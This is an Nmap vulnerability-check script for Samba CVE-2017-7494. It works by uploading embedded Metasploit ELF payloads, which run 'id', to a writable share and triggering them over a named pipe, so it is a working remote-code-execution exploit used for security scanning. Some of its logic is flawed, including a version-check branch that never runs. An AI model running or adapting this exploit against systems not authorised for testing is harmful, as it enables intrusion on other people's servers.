518 lines
23 KiB
Plaintext
518 lines
23 KiB
Plaintext
|
local smb = require "smb"
|
||
|
local string = require "string"
|
||
|
local vulns = require "vulns"
|
||
|
local stdnse = require "stdnse"
|
||
|
local table = require "table"
|
||
|
local nmap = require "nmap"
|
||
|
|
||
|
description = [[
|
||
|
Checks if target machines are vulnerable to the arbitrary shared library load
|
||
|
vulnerability CVE-2017-7494.
|
||
|
|
||
|
Unpatched versions of Samba from 3.5.0 to 4.4.13, and versions prior to
|
||
|
4.5.10 and 4.6.4 are affected by a vulnerability that allows remote code
|
||
|
execution, allowing a malicious client to upload a shared library to a writable
|
||
|
share, and then cause the server to load and execute it.
|
||
|
|
||
|
The script does not scan the version numbers by default as the patches released
|
||
|
for the mainstream Linux distributions do not change the version numbers.
|
||
|
|
||
|
The script checks the preconditions for the exploit to happen:
|
||
|
|
||
|
1) If the argument check-version is applied, the script will ONLY check
|
||
|
services running potentially vulnerable versions of Samba, and run the
|
||
|
exploit against those services. This is useful if you wish to scan a
|
||
|
group of hosts quickly for the vulnerability based on the version number.
|
||
|
However, because of their version number, some patched versions may still
|
||
|
show up as likely vulnerable. Here, we use smb.get_os(host) to do
|
||
|
versioning of the Samba version and compare it to see if it is a known
|
||
|
vulnerable version of Samba. Note that this check is not conclusive:
|
||
|
See 2,3,4
|
||
|
|
||
|
2) Whether there exists writable shares for the execution of the script.
|
||
|
We must be able to write to a file to the share for the exploit to
|
||
|
take place. We hence enumerate the shares using
|
||
|
smb.share_find_writable(host) which returns the main_name, main_path
|
||
|
and a list of writable shares.
|
||
|
|
||
|
3) Whether the workaround (disabling of named pipes) was applied.
|
||
|
When "nt pipe support = no" is configured on the host, the service
|
||
|
would not be exploitable. Hence, we check whether this is configured
|
||
|
on the host using smb.share_get_details(host, 'IPC$'). The error
|
||
|
returned would be "NT_STATUS_ACCESS_DENIED" if the workaround is
|
||
|
applied.
|
||
|
|
||
|
4) Whether we can invoke the payloads from the shares.
|
||
|
Using payloads from Metasploit, we upload the library files to
|
||
|
the writable share obtained from 2). We then make a named pipe request
|
||
|
using NT_CREATE_ANDX_REQUEST to the actual local filepath and if the
|
||
|
payload executes, the status return will be false. Note that only
|
||
|
Linux_x86 and Linux_x64 payloads are tested in this script.
|
||
|
|
||
|
This script is based on the metasploit module written by hdm.
|
||
|
|
||
|
References:
|
||
|
* https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/linux/samba/is_known_pipename.rb
|
||
|
* https://www.samba.org/samba/security/CVE-2017-7494.html
|
||
|
* http://blog.nsfocus.net/samba-remote-code-execution-vulnerability-analysis/
|
||
|
]]
|
||
|
|
||
|
---
|
||
|
-- @usage nmap --script smb-vuln-cve-2017-7494 -p 445 <target>
|
||
|
-- @usage nmap --script smb-vuln-cve-2017-7494 --script-args smb-vuln-cve-2017-7494.check-version -p445 <target>
|
||
|
-- @output
|
||
|
-- PORT STATE SERVICE
|
||
|
-- 445/tcp open microsoft-ds
|
||
|
-- MAC Address: 00:0C:29:16:04:53 (VMware)
|
||
|
--
|
||
|
-- | smb-vuln-cve-2017-7494:
|
||
|
-- | VULNERABLE:
|
||
|
-- | SAMBA Remote Code Execution from Writable Share
|
||
|
-- | State: VULNERABLE
|
||
|
-- | IDs: CVE:CVE-2017-7494
|
||
|
-- | Risk factor: HIGH CVSSv3: 7.5 (HIGH) (CVSS:3.0/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H)
|
||
|
-- | All versions of Samba from 3.5.0 onwards are vulnerable to a remote
|
||
|
-- | code execution vulnerability, allowing a malicious client to upload a
|
||
|
-- | shared library to a writable share, and then cause the server to load
|
||
|
-- | and execute it.
|
||
|
-- |
|
||
|
-- | Disclosure date: 2017-05-24
|
||
|
-- | Check results:
|
||
|
-- | Samba Version: 4.3.9-Ubuntu
|
||
|
-- | Writable share found.
|
||
|
-- | Name: \\192.168.15.131\test
|
||
|
-- | Exploitation of CVE-2017-7494 succeeded!
|
||
|
-- | Extra information:
|
||
|
-- | All writable shares:
|
||
|
-- | Name: \\192.168.15.131\test
|
||
|
-- | References:
|
||
|
-- | https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-7494
|
||
|
-- |_ https://www.samba.org/samba/security/CVE-2017-7494.html
|
||
|
--
|
||
|
-- @xmloutput
|
||
|
-- <table key="CVE-2017-7494">
|
||
|
-- <elem key="title">SAMBA Remote Code Execution from Writable Share</elem>
|
||
|
-- <elem key="state">VULNERABLE</elem>
|
||
|
-- <table key="ids">
|
||
|
-- <elem>CVE:CVE-2017-7494</elem>
|
||
|
-- </table>
|
||
|
-- <table key="scores">
|
||
|
-- <elem key="CVSSv3">7.5 (HIGH) (CVSS:3.0/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H)</elem>
|
||
|
-- </table>
|
||
|
-- <table key="description">
|
||
|
-- <elem>All versions of Samba from 3.5.0 onwards are vulnerable to a remote
code execution vulnerability, allowing a malicious client to upload a
shared library to a writable share, and then cause the server to load
and execute it.
</elem>
|
||
|
-- </table>
|
||
|
-- <table key="dates">
|
||
|
-- <table key="disclosure">
|
||
|
-- <elem key="year">2017</elem>
|
||
|
-- <elem key="day">24</elem>
|
||
|
-- <elem key="month">05</elem>
|
||
|
-- </table>
|
||
|
-- </table>
|
||
|
-- <elem key="disclosure">2017-05-24</elem>
|
||
|
-- <table key="check_results">
|
||
|
-- <elem>Samba Version: 4.3.9-Ubuntu</elem>
|
||
|
-- <elem>Writable share found. 
 Name: \\192.168.15.131\test</elem>
|
||
|
-- <elem>Exploitation of CVE-2017-7494 succeeded!</elem>
|
||
|
-- </table>
|
||
|
-- <table key="extra_info">
|
||
|
-- <elem>All writable shares:</elem>
|
||
|
-- <elem> Name: \\192.168.15.131\test</elem>
|
||
|
-- </table>
|
||
|
-- <table key="refs">
|
||
|
-- <elem>https://www.samba.org/samba/security/CVE-2017-7494.html</elem>
|
||
|
-- <elem>https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-7494</elem>
|
||
|
-- </table>
|
||
|
-- </table>
|
||
|
-- @args smb-vuln-cve-2017-7494.check-version Check only the version numbers the target's Samba service. Default: false
|
||
|
--
|
||
|
---
|
||
|
|
||
|
author = "Wong Wai Tuck"
|
||
|
license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
|
||
|
categories = {"vuln","intrusive"}
|
||
|
|
||
|
hostrule = function(host)
|
||
|
return smb.get_port(host) ~= nil
|
||
|
end
|
||
|
|
||
|
dependencies = {"smb-os-discovery", "smb-brute"}
|
||
|
|
||
|
--linux/x86/exec (CMD=id)
|
||
|
local PAYLOAD_X86 = {
|
||
|
0x7F, 0x45, 0x4C, 0x46, 0x01, 0x01, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
|
||
|
0x03, 0x00, 0x03, 0x00, 0x01, 0x00, 0x00, 0x00, 0xF6, 0x00, 0x00, 0x00, 0x34, 0x00, 0x00, 0x00,
|
||
|
0x74, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x34, 0x00, 0x20, 0x00, 0x02, 0x00, 0x28, 0x00,
|
||
|
0x02, 0x00, 0x01, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
|
||
|
0x00, 0x00, 0x00, 0x00, 0x1C, 0x01, 0x00, 0x00, 0x42, 0x01, 0x00, 0x00, 0x07, 0x00, 0x00, 0x00,
|
||
|
0x00, 0x10, 0x00, 0x00, 0x02, 0x00, 0x00, 0x00, 0x07, 0x00, 0x00, 0x00, 0xC4, 0x00, 0x00, 0x00,
|
||
|
0xC4, 0x00, 0x00, 0x00, 0xC4, 0x00, 0x00, 0x00, 0x30, 0x00, 0x00, 0x00, 0x30, 0x00, 0x00, 0x00,
|
||
|
0x00, 0x10, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x06, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
|
||
|
0xC4, 0x00, 0x00, 0x00, 0xC4, 0x00, 0x00, 0x00, 0x30, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
|
||
|
0x00, 0x00, 0x00, 0x00, 0x08, 0x00, 0x00, 0x00, 0x07, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
|
||
|
0x03, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xF4, 0x00, 0x00, 0x00, 0xF4, 0x00, 0x00, 0x00,
|
||
|
0x02, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
|
||
|
0x00, 0x00, 0x00, 0x00, 0x0C, 0x00, 0x00, 0x00, 0xF6, 0x00, 0x00, 0x00, 0x05, 0x00, 0x00, 0x00,
|
||
|
0xF4, 0x00, 0x00, 0x00, 0x06, 0x00, 0x00, 0x00, 0xF4, 0x00, 0x00, 0x00, 0x0A, 0x00, 0x00, 0x00,
|
||
|
0x00, 0x00, 0x00, 0x00, 0x0B, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
|
||
|
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x6A, 0x0B, 0x58, 0x99, 0x52, 0x66, 0x68, 0x2D, 0x63, 0x89,
|
||
|
0xE7, 0x68, 0x2F, 0x73, 0x68, 0x00, 0x68, 0x2F, 0x62, 0x69, 0x6E, 0x89, 0xE3, 0x52, 0xE8, 0x03,
|
||
|
0x00, 0x00, 0x00, 0x69, 0x64, 0x00, 0x57, 0x53, 0x89, 0xE1, 0xCD, 0x80,
|
||
|
}
|
||
|
|
||
|
--linux/x64/exec (CMD=id)
|
||
|
local PAYLOAD_X64 = {
|
||
|
0x7F, 0x45, 0x4C, 0x46, 0x02, 0x01, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
|
||
|
0x03, 0x00, 0x3E, 0x00, 0x01, 0x00, 0x00, 0x00, 0x92, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
|
||
|
0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xB0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
|
||
|
0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x38, 0x00, 0x02, 0x00, 0x40, 0x00, 0x02, 0x00, 0x01, 0x00,
|
||
|
0x01, 0x00, 0x00, 0x00, 0x07, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
|
||
|
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
|
||
|
0xBC, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xE6, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
|
||
|
0x00, 0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x02, 0x00, 0x00, 0x00, 0x07, 0x00, 0x00, 0x00,
|
||
|
0x30, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x30, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
|
||
|
0x30, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
|
||
|
0x60, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
|
||
|
0x01, 0x00, 0x00, 0x00, 0x06, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
|
||
|
0x30, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x30, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
|
||
|
0x60, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
|
||
|
0x08, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x07, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
|
||
|
0x00, 0x00, 0x00, 0x00, 0x03, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
|
||
|
0x90, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x90, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
|
||
|
0x02, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
|
||
|
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
|
||
|
0x0C, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x92, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
|
||
|
0x05, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x90, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
|
||
|
0x06, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x90, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
|
||
|
0x0A, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
|
||
|
0x0B, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
|
||
|
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
|
||
|
0x00, 0x00, 0x6A, 0x3B, 0x58, 0x99, 0x48, 0xBB, 0x2F, 0x62, 0x69, 0x6E, 0x2F, 0x73, 0x68, 0x00,
|
||
|
0x53, 0x48, 0x89, 0xE7, 0x68, 0x2D, 0x63, 0x00, 0x00, 0x48, 0x89, 0xE6, 0x52, 0xE8, 0x03, 0x00,
|
||
|
0x00, 0x00, 0x69, 0x64, 0x00, 0x56, 0x57, 0x48, 0x89, 0xE6, 0x0F, 0x05,
|
||
|
}
|
||
|
|
||
|
PAYLOAD_X86 = string.char(table.unpack(PAYLOAD_X86))
|
||
|
PAYLOAD_X64 = string.char(table.unpack(PAYLOAD_X64))
|
||
|
|
||
|
-- directories to look through if actual path cannot be queried
|
||
|
local COMMON_DIRS = {"/volume1/","/volume2/","/volume3/","/volume4/",
|
||
|
"/shared/","/mnt/","/mnt/usb/","/media/","/mnt/media/","/var/samba/",
|
||
|
"/tmp/","/home/","/home/shared/"}
|
||
|
|
||
|
-- filename used to save into the shared folders
|
||
|
local FILENAME = 'test.so'
|
||
|
|
||
|
local payloads = {PAYLOAD_X86, PAYLOAD_X64}
|
||
|
|
||
|
--- Determines whether the version of Samba is vulnerable and sets it in the
|
||
|
-- table samba_cve. Note that version numbers may not indicate vulnerability
|
||
|
-- as there are patches released (e.g. for Ubuntu) which did not change the
|
||
|
-- version of Samba
|
||
|
--
|
||
|
-- @param version The string containing the version of Samba
|
||
|
-- @param samba_cve The vuln table containing information for the results
|
||
|
local function determine_vuln_version(version, samba_cve)
|
||
|
local major, minor, patch
|
||
|
major, minor, patch = string.match(version,"(%d+)%.(%d+)%.(%d+).*")
|
||
|
stdnse.debug("Major version: %s, Minor version: %s, Patch version: %s", major, minor, patch)
|
||
|
major, minor, patch = tonumber(major), tonumber(minor), tonumber(patch)
|
||
|
|
||
|
-- no patches available for 3.5.X and 3.6.X
|
||
|
if major == 3 and minor >= 5 then
|
||
|
samba_cve.state = vulns.STATE.LIKELY_VULN
|
||
|
elseif major == 4 then
|
||
|
if minor < 4 then
|
||
|
samba_cve.state = vulns.STATE.LIKELY_VULN
|
||
|
-- patched in 4.4.14
|
||
|
elseif minor == 4 and patch < 14 then
|
||
|
samba_cve.state = vulns.STATE.LIKELY_VULN
|
||
|
-- patched in 4.5.10
|
||
|
elseif minor == 5 and patch < 10 then
|
||
|
samba_cve.state = vulns.STATE.LIKELY_VULN
|
||
|
-- patched in 4.6.4
|
||
|
elseif minor == 6 and patch < 4 then
|
||
|
samba_cve.state = vulns.STATE.LIKELY_VULN
|
||
|
end
|
||
|
end
|
||
|
end
|
||
|
|
||
|
--- Finds all writable shares on the target host and stores the name and path
|
||
|
-- into samba_cve stable, using smb.share_find_writable
|
||
|
--
|
||
|
-- @param host The target host
|
||
|
-- @param samba_cve The vuln table containing information for the results
|
||
|
-- @return (main_name, main_path) Two strings, containing the name of the main
|
||
|
-- writable share and its path
|
||
|
local function find_writable_shares(host, samba_cve)
|
||
|
-- determine if there are writable shares
|
||
|
local status, main_name, main_path, names
|
||
|
status, main_name, main_path, names = smb.share_find_writable(host)
|
||
|
|
||
|
-- successful in finding writable share
|
||
|
if status then
|
||
|
local msg = string.format("Writable share found. \n Name: %s", main_name)
|
||
|
if main_path then
|
||
|
msg = msg .. string.format("\n Path: %s ", main_path)
|
||
|
end
|
||
|
|
||
|
-- insert main writable directory with path into check_results
|
||
|
table.insert(samba_cve.check_results, msg)
|
||
|
|
||
|
-- insert names of other writable shares to extra_info
|
||
|
if #names > 0 then
|
||
|
table.insert(samba_cve.extra_info, string.format(
|
||
|
"All writable shares:"))
|
||
|
end
|
||
|
for i = 1, #names, 1 do
|
||
|
table.insert(samba_cve.extra_info, string.format(" Name: %s", main_name))
|
||
|
end
|
||
|
else
|
||
|
-- writable share enumeration failed, return error message stored in main_name
|
||
|
local err = main_name
|
||
|
table.insert(samba_cve.extra_info, err)
|
||
|
main_name = nil
|
||
|
end
|
||
|
|
||
|
-- main_path is C:\<actual share>
|
||
|
-- we map it to the equivalent statement in Unix filesystems
|
||
|
-- i.e. /<actual share>/
|
||
|
if main_path then
|
||
|
main_path = "/" .. string.sub(main_path, 4) .. "/"
|
||
|
end
|
||
|
|
||
|
return main_name, main_path
|
||
|
end
|
||
|
|
||
|
--- Check if the suggested workaround "nt pipe support = no" was applied on
|
||
|
-- the target host. The script checks if details can be queried on IPC$
|
||
|
-- which in a typical case will return details on the IPC, but if the
|
||
|
-- workaround is applied, an error of 'NT_STATUS_ACCESS_DENIED' is returned
|
||
|
--
|
||
|
-- @param host The target host
|
||
|
-- @param samba_cve The vuln table containing information for the results
|
||
|
-- @return A boolean indicating the nt pipe support is enabled, which
|
||
|
-- indicates the workaround was not applied
|
||
|
local function is_ntpipesupport_enabled(host, samba_cve)
|
||
|
-- do "nt pipe support = no" workaround check, in which case
|
||
|
-- accessing 'IPC$' returns 'NT_STATUS_ACCESS_DENIED'
|
||
|
local status, result
|
||
|
status, result = smb.share_get_details(host, 'IPC$')
|
||
|
|
||
|
if status and result['details'] == "NT_STATUS_ACCESS_DENIED" then
|
||
|
samba_cve.state = vulns.STATE.NOT_VULN
|
||
|
return false
|
||
|
elseif not status then
|
||
|
-- error accessing IPC$, present error to user
|
||
|
local err = result
|
||
|
table.insert(samba_cve.extra_info, err)
|
||
|
end
|
||
|
|
||
|
return true
|
||
|
end
|
||
|
|
||
|
--- Creates candidate paths for common directories of shares
|
||
|
-- This is method is based off the Metasploit script.
|
||
|
--
|
||
|
-- @param share_name Name of the share that you wish to write to
|
||
|
-- ireturn Array of candidate paths of the shares, never nil
|
||
|
local function enumerate_directories(share_name)
|
||
|
local candidates = {}
|
||
|
|
||
|
-- enumerate through all locations to find the file
|
||
|
for i = 1, #COMMON_DIRS, 1 do
|
||
|
table.insert(candidates, COMMON_DIRS[i])
|
||
|
table.insert(candidates, COMMON_DIRS[i] .. share_name)
|
||
|
table.insert(candidates, COMMON_DIRS[i] .. string.upper(share_name))
|
||
|
table.insert(candidates, COMMON_DIRS[i] .. string.lower(share_name))
|
||
|
table.insert(candidates, COMMON_DIRS[i] .. string.gsub(share_name, " ", "_"))
|
||
|
end
|
||
|
|
||
|
return candidates
|
||
|
end
|
||
|
|
||
|
--- Uploads the payloads in the array into a file each on the writable share.
|
||
|
-- Because the execution of the payload must match the architecture of the
|
||
|
-- target system, the function will try to test against each payload from
|
||
|
-- different architectures. The payloads were generated from Metasploit.
|
||
|
--
|
||
|
-- The function will then test if the system is vulnerable by making a NT
|
||
|
-- Create AndX Request on the IPC$ on the actual path of the file containing
|
||
|
-- the payload. It will first try to see if the actual path was retrieved
|
||
|
-- using previously by checking for the path argument. If it is not supplied,
|
||
|
-- because we do not know where the actual files are stored on the filesystem,
|
||
|
-- we have to make guesses on common directories. The status returned when
|
||
|
-- the payload executes is false, indicating that the system is vulnerable.
|
||
|
--
|
||
|
-- @param host The target host
|
||
|
-- @param samba_cve The vuln table containing information for the results
|
||
|
-- @param payloads An array containing payloads from different architectures
|
||
|
-- @param name The name of the writable share
|
||
|
-- @param path The canonical path of the share
|
||
|
local function test_cve2017_7494(host, samba_cve, payloads, name, path)
|
||
|
local status, result, err, share_name
|
||
|
local candidates = {}
|
||
|
|
||
|
-- create the files of both payloads on the share
|
||
|
-- the files are named as follows:
|
||
|
-- <index><base_filename>
|
||
|
for i, l_payload in ipairs(payloads) do
|
||
|
for _, anon in ipairs({true, false}) do
|
||
|
status, err = smb.file_write(host, l_payload, name,
|
||
|
tostring(i) .. FILENAME, anon)
|
||
|
stdnse.debug1("Write file status %s , err %s", status, err)
|
||
|
if status then break end
|
||
|
end
|
||
|
end
|
||
|
|
||
|
-- check if a proper filepath is returned from smb probes and use it
|
||
|
if path then
|
||
|
table.insert(candidates, path)
|
||
|
else
|
||
|
share_name = string.match(name, "\\\\.*\\(.*)") .. '/'
|
||
|
candidates = enumerate_directories(share_name)
|
||
|
end
|
||
|
|
||
|
-- try all candidate payloads
|
||
|
for h = 1, #payloads, 1 do
|
||
|
local l_filename = tostring(h) .. FILENAME
|
||
|
-- loop through all common candidate paths
|
||
|
for i = 1, #candidates, 1 do
|
||
|
local path = candidates[i] .. l_filename
|
||
|
local pipe_formats = {"\\\\PIPE\\".. path , path}
|
||
|
-- test both pipe formats for each path
|
||
|
for j = 1, #pipe_formats, 1 do
|
||
|
local curr_path = pipe_formats[j]
|
||
|
-- make an simple SMB connection to IPC$
|
||
|
local status, smbstate = smb.start_ex(host, true, true, "\\\\" ..
|
||
|
host.ip .. "\\IPC$", nil, nil, nil)
|
||
|
if not status then
|
||
|
stdnse.debug1("Could not connect to IPC$")
|
||
|
else
|
||
|
local overrides = {}
|
||
|
-- perform NT Create NX Request on candidate file paths
|
||
|
overrides['file_create_disposition'] = 0x1 -- FILE_OPEN
|
||
|
overrides['file_create_security_flags'] = 0x0 -- No dynamic tracking, no security context
|
||
|
|
||
|
stdnse.debug1("Trying path : %s", curr_path)
|
||
|
status, result = smb.create_file(smbstate, curr_path, overrides)
|
||
|
stdnse.debug1("Status: %s, Result: %s", status, result)
|
||
|
-- on payload execution, result will be false and server will disconnect
|
||
|
if not status and string.match(result, "SMB: ERROR: Server disconnected the connection") then
|
||
|
samba_cve.state = vulns.STATE.VULN
|
||
|
table.insert(samba_cve.check_results,
|
||
|
"Exploitation of CVE-2017-7494 succeeded!")
|
||
|
return
|
||
|
end
|
||
|
end
|
||
|
end
|
||
|
end
|
||
|
end
|
||
|
if samba_cve.state ~= vulns.STATE.VULN and not path then
|
||
|
samba_cve.state = vulns.STATE.LIKELY_VULN
|
||
|
table.insert(samba_cve.check_results,
|
||
|
'File written to remote share, but unable to execute payload either due to unknown actual path, or the system may be patched.')
|
||
|
end
|
||
|
end
|
||
|
|
||
|
action = function(host,port)
|
||
|
local port = nmap.get_port_state(host,{number=smb.get_port(host),protocol='tcp'})
|
||
|
|
||
|
local result, stats
|
||
|
local response = {}
|
||
|
|
||
|
local samba_cve = {
|
||
|
title = "SAMBA Remote Code Execution from Writable Share",
|
||
|
IDS = {CVE = 'CVE-2017-7494'},
|
||
|
risk_factor = "HIGH",
|
||
|
scores = {
|
||
|
CVSSv3 = "7.5 (HIGH) (CVSS:3.0/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H)"
|
||
|
},
|
||
|
description = [[
|
||
|
All versions of Samba from 3.5.0 onwards are vulnerable to a remote
|
||
|
code execution vulnerability, allowing a malicious client to upload a
|
||
|
shared library to a writable share, and then cause the server to load
|
||
|
and execute it.
|
||
|
]],
|
||
|
references = {
|
||
|
'https://www.samba.org/samba/security/CVE-2017-7494.html',
|
||
|
},
|
||
|
dates = {
|
||
|
disclosure = {year = '2017', month = '05', day = '24'},
|
||
|
},
|
||
|
check_results = {},
|
||
|
extra_info = {}
|
||
|
}
|
||
|
|
||
|
local report = vulns.Report:new(SCRIPT_NAME, host, port)
|
||
|
samba_cve.state = vulns.STATE.NOT_VULN
|
||
|
|
||
|
local check_version = stdnse.get_script_args(SCRIPT_NAME .. ".check-version") or false
|
||
|
-- check if they put false or similar
|
||
|
if check_version and string.lower(check_version) == "false" then
|
||
|
check_version = nil
|
||
|
end
|
||
|
|
||
|
local version = port.version.version
|
||
|
|
||
|
-- retrieve version of samba using smb.get_os
|
||
|
if not version then
|
||
|
local status, result = smb.get_os(host)
|
||
|
|
||
|
if(status == false) then
|
||
|
return stdnse.format_output(false, result)
|
||
|
end
|
||
|
|
||
|
-- result.lanmanager contains OS version information
|
||
|
-- string returned by result.lanmanager looks like Samba 4.3.9-Ubuntu
|
||
|
-- we only want 4.3.9-Ubuntu
|
||
|
if string.match(result.lanmanager,"^Samba ") then
|
||
|
version = string.match(result.lanmanager,"^Samba (.*)")
|
||
|
else
|
||
|
return stdnse.format_output(false,
|
||
|
"Either versioning failed or samba does not exist on the port!")
|
||
|
end
|
||
|
end
|
||
|
|
||
|
table.insert(samba_cve.check_results,
|
||
|
string.format("Samba Version: %s",version))
|
||
|
|
||
|
if check_version then
|
||
|
stdnse.debug("Port Version: %s", port.version.version)
|
||
|
-- determine if version is vulnerable
|
||
|
determine_vuln_version(version, samba_cve)
|
||
|
|
||
|
-- The first set of conditions sees if version checking is specified
|
||
|
-- to speed up checks so only hosts with versions that are likely to be
|
||
|
-- vulnerable are scanned, the second part of the condition allows
|
||
|
-- the script to run try the exploit on the samba share regardless
|
||
|
-- of version. In this case, the latter is the default.
|
||
|
elseif (check_version and samba_cve == vulns.STATE.LIKELY_VULN) or not check_version then
|
||
|
local name, path
|
||
|
-- vulnerability requires library to be written to share
|
||
|
name, path = find_writable_shares(host, samba_cve)
|
||
|
stdnse.debug1("Writable share name: %s, Path returned: %s", name, path)
|
||
|
|
||
|
-- do "nt pipe support = no" workaround check, which prevents exploitation
|
||
|
local ntpipe_enabled = is_ntpipesupport_enabled(host, samba_cve)
|
||
|
|
||
|
-- some patches for samba do not affect version numbers
|
||
|
-- e.g. 2:4.3.11+dfsg-0ubuntu0.16.04.7
|
||
|
-- in reality they are not vulnerable
|
||
|
-- patched versions prevents named pipes containing '/'
|
||
|
-- more information is available on the patch
|
||
|
-- https://git.samba.org/?p=samba.git;a=blobdiff;f=source3/rpc_server/srv_pipe.c;h=f79fbe26abff1e3a2b3f3a21480196afc09d13b1;hp=39f5fb49ec3c0e011a5c6ad4b7ac60bcf49af05a;hb=02a76d86db0cbe79fcaf1a500630e24d961fa149;hpb=82bb44dd3b7f42b90494294b32f8413a39cb2030
|
||
|
-- therefore we need to ascertain if the exploit works
|
||
|
if name and ntpipe_enabled then
|
||
|
test_cve2017_7494(host, samba_cve, payloads, name, path)
|
||
|
|
||
|
for i, _ in ipairs(payloads) do
|
||
|
smb.file_delete(host, name, tostring(i) .. FILENAME)
|
||
|
end
|
||
|
end
|
||
|
|
||
|
end
|
||
|
|
||
|
return report:make_output(samba_cve)
|
||
|
end
|